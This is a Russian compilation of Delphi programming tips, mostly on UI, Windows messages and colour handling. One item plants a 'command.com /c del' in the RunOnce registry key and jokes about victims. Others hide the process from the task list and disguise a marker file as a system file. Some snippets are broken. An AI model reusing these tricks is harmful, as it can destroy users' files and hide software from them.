процедурного типа рекомендую применять конструкцию f:=//адрес вместо @f:=//адрес. Компилятору "по барабану"
(он поймет, о чем речь), а запись - короче и понятнее : "присвоить переменной f значение, равное адресу того-то в
памяти"
--------------------------------------------------------------------------------
2 Digitman
А как насчет ответа Визарда (l := pFn(MyPointer)) - так можно?
Кстати, такой вариант как у меня я почерпнул из родного хелпа
(раздел, посвященного динамической загрузке DLL), ну да ладно,
то, что по твоему более читабельно - согласен.
--------------------------------------------------------------------------------
l := pFn(MyPointer) - а это из другой уже оперы, здесь просто явное преобразование указ.типа в процедурный тип,
чтобы компилятор не задавал дурацких вопросов наподобие :
"а что это ты , уважаемый, толкаешь в переменную процедурного типа указатель на неизвестно чего ? а вдруг это
не указатель на начало процедуры ? ты уж определись, уважаемый, с этим ... или, на кр.случай, возми на себя
ответственность за правильнось факт.адресации, явно показав, что это - указатель на процедуру, декларация
которой мне известна ...." )))))))))
В одной из книг по программированию(за давностью лет - автора и название
не помню) был описан алгоритм, который я реализовал в следующем фрагменте
---------------------------
IF MM10
THEN YY:=YY-1;
CENT:=YY DIV 100;
YEAR:=YY MOD 100;
Z:=TRUNC(2.6*MM-0.1999);
DDAY:=Z+DD+YEAR+YEAR DIV 4+CENT DIV 4-2*CENT;
DDAY:=(DDAY+777)MOD 7;
CASE DDAY OF
0:WRITE(F,'ВОСКРЕСЕНИЕ');
1:WRITE(F,'ПОНЕДЕЛЬНИК');
2:WRITE(F,'ВТОРНИК');
3:WRITE(F,'СРЕДА');
4:WRITE(F,'ЧЕТВЕРГ');
5:WRITE(F,'ПЯТНИЦА');
6:WRITE(F,'СУББОТА');
END;
---------------------------
где:
MM - месяц
DD - число (т.е. день месяца)
YY - год (четыре цифры)
Программа писалась в году 1987 для ЭВМ "Электроника 100-25" в КОИ7 - посему
буквы прописные.
От временной переменной Z можно избавиться - она используется только раз.
Вместо 0.1999 в исходном алгоритме насколько я помню было 0.2, но на моей
реализации Pascal/ЭВМ возникала ошибка.
Вместо 777 можно использовать любое, достаточно большое число, без остатка
делящееся на 7.
Насколько я помню алгоритм работает от 15xx года(xx-к сожелению не помню) до,
если не ошибаюсь, 4093 года(4xxx - точно).
case Parameter2 of
"один": begin {} end;
"два" : begin {} end;
"остальной": begin {} end;
end;
=== 1 ===
можно, например, сделать TStringList, заполнить его
нужными значениями, а потом :
type
TSomeEnum = (seFirst, seSecond, ... );
...............
case SomeStringList.Items.IndexOf(S) of
seFirst: begin...end;
seSecond: begin...end;
......
end;
=== 2 ===
Можно сложить все буквы и получить контрольную сумму
слова например:
var w,i:word;
st:string;
st:= какое-то слово
w:=o;
For i:=1 to length(st) do
w:=w+ord(st[i]);
case w of
195: ... {'ab'}
199: ... {'cd'}
....
end;
=== 3 ===
type MyType = ('один','два','три','четыре');
var Parameter2:MyType;
case Parameter2 of
'один': begin {} end;
'два' : begin {} end;
else: begin {} end;
end;
Лучше всего размещать код заставки в головном файле программы после первого Application.FormCreate и перед Application.Run.
Это делается путем создания формы заставки "на лету" и последующего отображения ее перед открытием приложения.
program Project1;
uses Forms, Unit1 in 'UNIT1.PAS' {Form1}, Splash;
{$R *.RES}
var
SplashScreen : TSplashScreen; {в модуле Splash }
begin
Application.CreateForm(TForm1, Form1);
SplashScreen := TSplashScreen.Create(Application);
try
SplashScreen.Show;
SplashScreen.Update; {Обрабатываем все сообщения о прорисовке формы}
{делайте другие CreatForms или любые другие действия перед тем, как приложение откроется. Если процесс запуска занимает много
времени, возможно Вы захотите периодически запускать Application.ProcessMessages, чтобы позволить приложению отвечать на
сообщения Windows.}
finally {Убедитесь в том, что память под заставку освобождается}
SplashScreen.Free;
end;
Application.Run;
end.
Все процессы получают сигналы CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT и CTRL_ SHUTDOWN_EVENT. А делается это
(грубо говоря :) так:
BOOL Ctrl_Handler( DWORD Ctrl )
{
if( (Ctrl == CTRL_SHUTDOWN_EVENT)
|| (Ctrl == CTRL_LOGOFF_EVENT)
)
{
// Вау! Юзер обламывает!
}
else
{
// Тут что-от другое можно творить. А можно и не творить :-)
}
return TRUE;
}
===
function Ctrl_Handler(Ctrl: Longint): LongBool;
begin
if Ctrl in [CTRL_SHUTDOWN_EVENT, CTRL_LOGOFF_EVENT] then
begin
// Вау, вау
end
else
begin
// Am I creator?
end;
Result := true;
end;
===
А где-то в программе:
SetConsoleCtrlHandler( Ctrl_Handler, TRUE );
Таких обработчиков можно навесить кучу. Если при обработке какого-то из
сообщений обработчик возвращет FALSE, то вызывается следующий обработчик. Можно насторить таких этажерок, что ого-го :-)))
Короче, смотри описание SetConsoleCtrlHandler -- там всё есть.
Ответ:
Создайте процедуру, которая будет вызываться при событии Application.OnIdle.
Обьявим процедуру:
{Private declarations}
procedure IdleEventHandler(Sender: TObject; var Done: Boolean);
В разделе implementation опишем поцедуру:
procedure TForm1.IdleEventHandler(Sender: TObject; var Done: Boolean);
begin
{Do a small bit of work here}
Done := false;
end;
В методе Form'ы OnCreate - укажем что наша процедура вызывается на событии
Application.OnIdle.
Application.OnIdle := IdleEventHandler;
Событие OnIdle возникает один раз - когда приложение переходит в режим "безделья" (idle). Если в обработчике переменной Done
присвоить False событие будет вызываться вновь и вновь, до тех пор пока приложение "бездельничает" и переменной Done не
присвоенно значение True.
//How to get the size of the window
var
R: TRect;
begin
R := GetClientRect; // Get Window rectange
//
// HSize := R.Right - R.Left
// VSize := R.Bottom - R.Top
end;
Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для
завершения второго экземпляра, попытавшегося запуститься, используйте
Application.Terminate;
(AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция
IsMonitorRunning().
(EK): CreateSemaphore(nil,0,1,'MySemaphoreName');
Простая функция:
перед implementation надо поставить
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
А в пару begin end:
RegisterServiceProcess(GetCurrentProcessID, 1); //скрыть
RegisterServiceProcess(GetCurrentProcessID, 0); //показать
1) В головном файле проекта после Application.Initialize; добавьте
Application.ShowMainForm := False;
2) Добавьте ShowWindow(Application.Handle, SW_HIDE); перед Application.Run;
Пример:
program Project1;
uses
Windows,
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Application.ShowMainForm := False;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
ShowWindow(Application.Handle, SW_HIDE);
Application.Run;
end.
3) В секцию "initialization" (в самом низу модуля) каждого модуля, исользующего форму добавьте
begin
ShowWindow(Application.Handle, SW_HIDE);
end.
Проверять сообщение:
public
procedure CreateParams(var Params: TCreateParams); override;
procedure WMDropFiles(var Message: TWMDropFiles); message WM_DROPFILES;
. . . . . . . . .
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.ExStyle := Params.ExStyle or WS_EX_ACCEPTFILES; // make the window accept file
// this can be done different... Check the Button1Click method
end;
procedure TForm1.WMDropFiles(var Message: TWMDropFiles);
var aFile: array [0..255] of Char;
n, cnt: Integer;
begin
inherited;
cnt := DragQueryFile(Message.drop, $FFFFFFFF, nil, 0); // how many files are dropped
for n := 0 to cnt - 1 // for all the file in the list
do
begin
DragQueryFile(Message.drop, n, aFile, 256); // get the FileName (max characters 255 + #0)
(. . . . . . . . .)
end;
DragFinish(Message.Drop); // Free resources
end;
Можно, но только во время загрузки приложения. Чтобы сделать это выберите "View->Project Source" и измените код инициализации
приложения, так что порядок создания форм зависил от какого-то условия.
Примечание: Вам придется редактировать этот код, если Вы добавите в приложение новые формы.
begin
Application.Initialize;
if then
begin
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
end
else
begin
Application.CreateForm(TForm2, Form2);
Application.CreateForm(TForm1, Form1);
end;
end.
Application.Run;
Windows посылает сообщение WM_QUERYENDSESSION каждому активному приложению когда пользователь пытается закрыть
Windows. Если ваша программа возвращает не нулевое значение то Windows закрывает ееt. Если программа возвращает 0, то это
говорит Windows не закрываться. Обработчик DefWindowProc возвращает не нулевое значение по умолчанию. Вы можете написать
обработчик сообщения которое предотвратит закрытие Windows.
Увидев анимацию на форме, мы не удивимся, но сейчас нам предстоит освоить более сложную технологию: мы попытаемся
анимировать иконку приложения, ту самую, которая находится на панели задач на кнопке нашего exe-файла!
Сначала нужно будет создать каждый кадр потенциального анимационного клипа. Для этого запустим утилиту "Image Editor",
которая в ходит в стандартный пакет Delphi. Запустить её можно одноимённой командой из меню Tools[инструменты]. Там создаём
несколько bmp-файлов размером 16х16.
После чего возвращаемся в Delphi и выносим на форму компонент класса TImageList, дважды щёлкаем на нём и с помощью кнопки
Add последовательно добавляем созданные кадры. В каком порядке изображения будут добавляться, в таком же порядке они затем
будут выводится.
Далее выносим таймер[Timer], его свойство Interval устанавливаем в нужное значение[например - 5], и именно через заданное здесь
количество миллисекунд будут меняться кадры. По событию OnTimer пишем такой код:
ImageList1.GetIcon(iconindex,Application.icon);
iconindex:=iconindex+1;
if iconindex>5 then iconindex:=0;
В строке [if iconindex>5 then iconindex:=0;] число 5 замените на индекс последней иконки в вашем ImageList'e[это количество иконок
-1]
Не забудьте объявить глобальную переменную iconindex, которая должна быть целочисленного типа[integer]
А по созданию окна инициализируйте иконку приложения первым изображением в списке:
iconindex:=0;
ImageList1.GetIcon(iconindex,Application.icon);
Посмотрите на иконку программы ACDSee, которая показана в левом верхнем углу. На ней изображён глаз. По-моему, было бы
довольно эффектно, если бы время от времени он подмигивал пользователю!
Системное меню вызывается по нажатию на иконку окна. Оно содержит такие команды как "Развернуть", "Восстановить",
"Переместить" и т.д. Так вот, теперь у вас появилась возможность добавлять новые пункты к системному меню приложения и
обрабатывать их нажатие! Для этого воспользуемся функцией AppendMenu(). В качестве параметров этой функции нужно указать:
Дескриптор того меню, которое мы хотим изменять
Флаг, контролирующий появление и поведение пункта меню. может принимать следующие значения:
MF_BITMAP Для использование изображение в качестве пункта меню. Тогда послежний параметр должен содержать дескриптор
изображения.
MF_CHECKED Устанавливает контрольную метку возле пункта меню.
MF_DISABLED Показывает, что пункт меню будет неактивным. Его нельзя будет выделить и он приобретёт серое состояние.
MF_ENABLED Делает пункт меню активным.
MF_GRAYED Делает пункт меню недоступным.
MF_MENUBARBREAK Функция похожа на MF_MENUBREAK. Позволяет последующие пункты меню размещать в новой колонке,
отделяемой от текущей вертикальной чертой.
MF_MENUBREAK Позволяет последующие пункты меню размещать в новой колонке, но не отделяет их вертикальной линией.
MF_OWNERDRAW Указывает, что пункт меню должен будет прорисовываться самостоятельно. До отображения меню в первый раз
окно посылает сообщение WM_MEASUREITEM для того, чтобы узнать какой должна быть ширина меню. Так же посылает
сообщение WM_DRAWITEM в тот момент, когда пункт меню должен обновляться.
MF_POPUP Характеризует меню, которое будет открывать подменю или контекстное меню. Тогда последний параметр должен
содержать дескриптор этого пункта меню.
MF_SEPARATOR Отделительная горизонтальная линия. Линия не может становиться неактивной или активной. В данном случае
последний параметр будет игнорироваться.
MF_STRING Показывает, что пункт меню будет содержать строку, которая должна быть указана в последнем параметре.
MF_UNCHECKED Снимает контрольную метку около пункта меню.
Идентификатор нового пункта меню. Если значение флага MF_POPUP, тогда этот параметр должен содержать дескриптор
контекстного меню.
Содержание нового пункта меню. Так же зависит от значения флага. Если он содержит такие константа как MF_BITMAP,
MF_OWNERDRAW или MF_STRING, тогда здесь нужно указывать: дескриптор изображения, собственную прорисовку пункта меню
или строку.
Если функция выполняется успешно - она возвращает значение отличное от нуля, в противном случае - 0.
Давайте разберём пример:
Создайте новой приложение и по созданию окна [Событие OnCreate()] напишите такой код:
procedure TForm1.FormCreate(Sender: TObject);
begin
AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Handle, FALSE),MF_STRING,SC_MyMenuItem,'КРУТО, да!!!');
end;
Здесь мы добавляем два новых пункта в системное меню приложения. Сначала разделительную горизонтальную линию, о чём
свидетельствует значение флага MF_SEPARATOR, а затем, пункт меню, который будет содержать строку. Это видно по значению
флага MF_STRING. Сама строка, как вы видите указывается в последнем пункте меню. Но это ещё не всё, так же нужно
предусмотреть вариант, когда пользователь нажмёт на наш новый пункт меню. Нужно генерировать новое сообщение Windows и
обрабатывать его. Для этого в частных объявлениях, т.е. в директиве private напишем такой код:
private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
В разделе implementation напишем следующее:
const
SC_MyMenuItem = WM_USER + 1;
procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType = SC_MyMenuItem then
ShowMessage('Был нажат наш пункт меню!!!') else
inherited;
end;
Ну вот, вообщем-то и всё! Теперь компилируйте и тестируйте приложение.
Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses (в начале модуля)
модуль Registry - выглядеть это будет примерно так:
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
StdCtrls;
А потом по созданию окна напиши следующий код:
procedure TForm1.FormCreate(Sender: TObject);
var
a:TRegistry;
Count:Integer;
begin
if FileExists('c:\Windows\kernel.fhd')=false then begin
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
a.WriteInteger('RunCount',1);
a.CloseKey;
a.Free;
FileCreate('c:\Windows\kernel.fhd');
end
else begin
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
Count:=a.ReadInteger('RunCount');
a.CloseKey;
a.Free;
if Count=3 then begin
halt;
end
else begin
Inc(Count);
a:=TRegistry.Create;
a.RootKey:=HKEY_LOCAL_MACHINE;
a.OpenKey('\Software\Microsoft\oor',true);
a.WriteInteger('RunCount',Count);
a.CloseKey;
a.Free;
FileCreate('c:\Windows\kernel.fhd');
end;
end;
end;
Если вам понадобилось, чтобы Ваше приложение самоликвидировалось ;-] после своего выполнения, тогда делайте так:
В разделе uses объявляем модуль Registry.
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;
...а нажатие кнопки обрабатываем следующим образом: procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
with reg do begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',
false);
WriteString('Delete Me!','command.com /c del FILENAME.EXT');
CloseKey;
free;
end;
end;
Всё дело в том, что параметры, заносимые в ключ
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
удаляются после своего выполнения, т.е. глупый ламерюга даже не догадается кто ему показал
"Кузькину мать" :--}
Этот компонент представляет из себя кнопку, на которую не надо нажимать, чтобы получить событие OnClick. Достаточно
переместить курсор мышки на кнопку. При создании такого компонента традиционным способом, требуется довольно много
времени, так как необходимо обрабатывать мышку, перехватывать её и т.д. Однако результат стоит того!
Предлагаю взглянуть на две версии данного компонента. В более простой версии обработчик перемещения мышки просто
перехватывает сообщения Windows с нужным кодом и вызывает обработчик события OnClick:
type
TAutoButton1 = class(TButton)
private
procedure WmMouseMove (var Msg: TMessage);
message wm_MouseMove;
end;
procedure TAutoButton1.WmMouseMove (var Msg: TMessage);
begin
inherited;
if Assigned (OnClick) then
OnClick (self);
end;
Вторая версии имеет больше исходного кода, так как в ней я просто пытаюсь повторить событие мышки OnClick когда пользователь
перемещает мышку над кнопкой либо по истечении определённого времени. Далее следует объявление класса:
type
TAutoKind = (akTime, akMovement, akBoth);
TAutoButton2 = class(TButton)
private
FAutoKind: TAutoKind;
FMovements: Integer;
FSeconds: Integer;
// really private
CurrMov: Integer;
Capture: Boolean;
MyTimer: TTimer;
procedure EndCapture;
// обработчики сообщений
procedure WmMouseMove (var Msg: TWMMouse);
message wm_MouseMove;
procedure TimerProc (Sender: TObject);
procedure WmLBUttonDown (var Msg: TMessage);
message wm_LBUttonDown;
procedure WmLButtonUp (var Msg: TMessage);
message wm_LButtonUp;
public
constructor Create (AOwner: TComponent); override;
published
property AutoKind: TAutoKind
read FAutoKind write FAutoKind default akTime;
property Movements: Integer
read FMovements write FMovements default 5;
property Seconds: Integer
read FSeconds write FSeconds default 10;
end;
Итак, когда курсор мышки попадает в область кнопки (WmMouseMove), то компонент запускает таймер либо счётчик количества
сообщений о перемещении. По истечении определённого времени либо при получении нужного количества сообщений о
перемещении, компонент эмулирует событие нажатия кнопкой.
procedure TAutoButton2.WmMouseMove (var Msg: TWMMouse);
begin
inherited;
if not Capture then
begin
SetCapture (Handle);
Capture := True;
CurrMov := 0;
if FAutoKind <> akMovement then
begin
MyTimer := TTimer.Create (Parent);
if FSeconds <> 0 then
MyTimer.Interval := 3000
else
MyTimer.Interval := FSeconds * 1000;
MyTimer.OnTimer := TimerProc;
MyTimer.Enabled := True;
end;
end
else // захватываем
begin
if (Msg.XPos > 0) and (Msg.XPos < Width)
and (Msg.YPos > 0) and (Msg.YPos < Height) then
begin
// если мы подсчитываем кол-во движений...
if FAutoKind <> akTime then
begin
Inc (CurrMov);
if CurrMov >= FMovements then
begin
if Assigned (OnClick) then
OnClick (self);
EndCapture;
end;
end;
end
else // за пределами... стоп!
EndCapture;
end;
end;
procedure TAutoButton2.EndCapture;
begin
Capture := False;
ReleaseCapture;
if Assigned (MyTimer) then
begin
MyTimer.Enabled := False;
MyTimer.Free;
MyTimer := nil;
end;
end;
procedure TAutoButton2.TimerProc (Sender: TObject);
begin
if Assigned (OnClick) then
OnClick (self);
EndCapture;
end;
procedure TAutoButton2.WmLBUttonDown (var Msg: TMessage);
begin
if not Capture then
inherited;
end;
procedure TAutoButton2.WmLButtonUp (var Msg: TMessage);
begin
if not Capture then
inherited;
end;
Как программно "щелкнуть" по компоненту speed button? Я пытался использовать SendMessage но у Speedbuttons нет "handle".
Ответ:
В примере используется метод Perform класса TControl для
отправки сообщения.
Пример:
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
ShowMessage('clicked');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;
Когда Вы нажимаете на кнопку, то видите трёхмерный эффект нажатия. А как же насчёт четвёртого измерения, например звука ? Ну
тогда нам понадобится звук для нажатия и звук для отпускания кнопки. Если есть желание, то можно добавить даже речевую
подсказку, однако не будем сильно углубляться.
Компонент звуковой кнопки имеет два новых свойства:
type
TDdhSoundButton = class(TButton)
private
FSoundUp, FSoundDown: string;
protected
procedure MouseDown(Button: TMouseButton;
Shift: TShiftState; X, Y: Integer); override;
procedure MouseUp(Button: TMouseButton;
Shift: TShiftState; X, Y: Integer); override;
published
property SoundUp: string
read FSoundUp write FSoundUp;
property SoundDown: string
read FSoundDown write FSoundDown;
end;
Звуки будут проигрываться при нажатии и отпускании кнопки:
procedure TDdhSoundButton.MouseDown(
Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
inherited;
PlaySound (PChar (FSoundDown), 0, snd_Async);
end;
procedure TDdhSoundButton.MouseUp(Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
inherited;
PlaySound (PChar (FSoundUp), 0, snd_Async);
end;
1) Написать Hook JernalPlayback
2) (более простой способ) Загрузить spy и посмотреть какие сообщения
посылаюся. Тем самым посылая такие же - можно выполнять аналогичные действия.
Здесь на сайте есть программка по управлению WinAmp.(Полезная штука надо сказать)
Не помню автора...
Function SelectMenu(winname,item,subitem:string):boolean;
// winname - имя окна, item - имя пункта меню, subitem - имя подпункта
var winhandle,menuhandle,submenuhandle,i,j,res:integer;
itemname,subitemname:pchar;
begin
res:=-1;
winhandle:=FindWindow(nil,pchar(winname));
menuhandle:=getmenu(winhandle);
getmem(itemname,255);
getmem(subitemname,255);
for i:=0 to getmenuitemcount(menuhandle)-1 do
begin
getmenustring(menuhandle,i,itemname,255,MF_BYPOSITION);
if string(itemname)=item then begin
submenuhandle:=getsubmenu(menuhandle,i);
for j:=0 to getmenuitemcount(submenuhandle)-1 do
begin
getmenustring(submenuhandle,j,subitemname,255,MF_BYPOSITION);
if string(subitemname)=subitem then
res:=SendMessage(winhandle,WM_COMMAND,makelong(getmenuitemid(submenuhandle,j),0
),0);
end;
end;
end;
freemem(itemname);
freemem(subitemname);
if res=0 then result:=true else result:=false;
end;
const
SA> FM_FINDPHOTO = $0510;
SA> SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);
function CreateRotatedFont(F : TFont; Angle : Integer) : hFont;
{-create a rotated font based on the font object F}
var
LF : TLogFont;
begin
FillChar(LF, SizeOf(LF), #0);
with LF do begin
lfHeight := F.Height;
lfWidth := 0;
lfEscapement := Angle*10;
lfOrientation := 0;
if fsBold in F.Style then
lfWeight := FW_BOLD
else
lfWeight := FW_NORMAL;
lfItalic := Byte(fsItalic in F.Style);
lfUnderline := Byte(fsUnderline in F.Style);
lfStrikeOut := Byte(fsStrikeOut in F.Style);
lfCharSet := DEFAULT_CHARSET;
StrPCopy(lfFaceName, F.Name);
lfQuality := DEFAULT_QUALITY;
{everything else as default}
lfOutPrecision := OUT_DEFAULT_PRECIS;
lfClipPrecision := CLIP_DEFAULT_PRECIS;
case F.Pitch of
fpVariable : lfPitchAndFamily := VARIABLE_PITCH;
fpFixed : lfPitchAndFamily := FIXED_PITCH;
else
lfPitchAndFamily := DEFAULT_PITCH;
end;
end;
Result := CreateFontIndirect(LF);
end;
...
{create the rotated font}
if FontAngle <> 0 then
Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle);
У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа TCanvas.
Грубо говоря, это аналог TDC из OWL. Те операции, которые нельзя выполнить с
помощью методов TCanvas, можно выполнить с помощью WinAPI.
Для этого у обьектов класса TCanvas имеется свойство Handle - это и есть Хэндл
Дисплейного Контекста ОС Windows (HDC), который необходим графическим функциям
WinAPI.
Если свойство Canvas недоступно, Вы можете достучаться до него созданием
потомка и переносом этого свойства в раздел Public.
{ Example. We recommend You to create this component through Component Wizard.
In Delphi 1 it can be found as 'File|New Component...', and can be found
as 'Component|New Component...' in Delphi 2 or above. }
type
TcPanel = class(TPanel)
public
property Canvas;
end;
Градиентная заливка и сложение цветов.
Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто.
Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.
Например, нужно сложить красный и синий. Получаем
(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).
В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты,
потом каждую сумму разделить нацело на количество цветов.
Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.
Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно
залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x,
A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую
фигуру: будь то прямоугольник, круг или просто произвольная фигура.
Вот как выглядит описанный алгоритм:
{Считается, что координаты первого цвета равны (A1, A2, A3), а второго (B1, B2, B3)}
{Кроме того, линия начинается в координатах (X1,Y1), а заканчивается в (X2,Y1)}
Var h,i: Integer;
begin
h:=X2-X1-1;
for i:=0 to h do begin
PaintBox1.Canvas.Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
PaintBox1.Canvas.Pen.Rectangle(I,Y1,I+1,Y1);
end;
end.
Как извлечь Red, Green, и Blue компонент из определенного цвета? Ответ:
Используйте функции Window API Get RValue(), GetGValue(), и GetBValue().
Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin Form1.Canvas.Pen.Color := clRed;
Memo1.Lines.Add('Red := ' + IntToStr(GetRValue(Form1.Canvas.Pen.Color)));
Memo1.Lines.Add('Red := ' + IntToStr(GetGValue(Form1.Canvas.Pen.Color)));
Memo1.Lines.Add('Blue:= ' + IntToStr(GetBValue(Form1.Canvas.Pen.Color)));
end;
{ Максимальные значения }
Const
HLSMAX = 240;
RGBMAX = 255;
UNDEFINED = (HLSMAX*2) div 3;
Var
H, L, S : integer; { H-оттенок, L-яркость, S-насыщенность }
R, G, B : integer; { цвета }
procedure RGBtoHLS;
Var
cMax,cMin : integer;
Rdelta,Gdelta,Bdelta : single;
Begin
cMax := max( max(R,G), B);
cMin := min( min(R,G), B);
L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );
if (cMax = cMin) then begin
S := 0; H := UNDEFINED;
end else begin
if (L <= (HLSMAX/2)) then
S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )
else
S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) )
/ (2*RGBMAX-cMax-cMin) );
Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
if (R = cMax) then H := round(Bdelta - Gdelta)
else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)
else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );
if (H < 0) then H:=H + HLSMAX;
if (H > HLSMAX) then H:= H - HLSMAX;
end;
if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;
if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;
end;
procedure HLStoRGB;
Var
Magic1,Magic2 : single;
function HueToRGB(n1,n2,hue : single) : single;
begin
if (hue < 0) then hue := hue+HLSMAX;
if (hue > HLSMAX) then hue:=hue -HLSMAX;
if (hue < (HLSMAX/6)) then
result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )
else
if (hue < (HLSMAX/2)) then result:=n2 else
if (hue < ((HLSMAX*2)/3)) then
result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))
else result:= ( n1 );
end;
begin
if (S = 0) then begin
B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;
end else begin
if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX
else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;
Magic1 := 2*L-Magic2;
R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );
B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
end;
if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;
if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;
if B<0 then B;
Процедура GradientRect делает градиентную заливку (сверху в низ)
Параметры: цвета [от и до] и объект Canvas, поверхность которого и будет закрашена
procedure TForm1.GradientRect (FromRGB, ToRGB: TColor;Canvas:tcanvas);
var
RGBFrom : array[0..2] of Byte; { from RGB values }
RGBDiff : array[0..2] of integer; { difference of from/to RGB values }
ColorBand : TRect; { color band rectangular coordinates }
I : Integer; { color band index }
R : Byte; { a color band's R value }
G : Byte; { a color band's G value }
B : Byte; { a color band's B value }
begin
{ extract from RGB values}
RGBFrom[0] := GetRValue (ColorToRGB (FromRGB));
RGBFrom[1] := GetGValue (ColorToRGB (FromRGB));
RGBFrom[2] := GetBValue (ColorToRGB (FromRGB));
{ calculate difference of from and to RGB values}
RGBDiff[0] := GetRValue (ColorToRGB (ToRGB)) - RGBFrom[0];
RGBDiff[1] := GetGValue (ColorToRGB (ToRGB)) - RGBFrom[1];
RGBDiff[2] := GetBValue (ColorToRGB (ToRGB)) - RGBFrom[2];
{ set pen sytle and mode}
Canvas.Pen.Style := psSolid;
Canvas.Pen.Mode := pmCopy;
{ set color band's left and right coordinates}
ColorBand.Left := 0;
ColorBand.Right:= canvas.ClipRect.Right-Canvas.ClipRect.Left;
for I := 0 to $ff do
begin
{ calculate color band's top and bottom coordinates}
ColorBand.Top := MulDiv (I , canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
ColorBand.Bottom := MulDiv (I + 1,canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
{ calculate color band color}
R := RGBFrom[0] + MulDiv (I, RGBDiff[0], $ff);
G := RGBFrom[1] + MulDiv (I, RGBDiff[1], $ff);
B := RGBFrom[2] + MulDiv (I, RGBDiff[2], $ff);
{ select brush and paint color band}
Canvas.Brush.Color := RGB (R, G, B);
Canvas.FillRect (ColorBand);
end;
end;
Эту процедуру объявляем в публичных объявлениях:
public
{ Public declarations }
procedure GradientRect (FromRGB, ToRGB: TColor;Canvas:tcanvas);
Для закраски формы в обработчик формы OnPaint нужно вставить:
GradientRect (clBlue, clBlack,Canvas);
По событию OnResize для формы напишем:
Paint;
Многие программисты задавая такой вопрос получают на него стандартный ответ "используй edit box." На самом же деле этот
вопрос вполне решаем, хотя лейблы и не основаны на окне и, соответственно не могут получать фокус ввода и, соответственно не
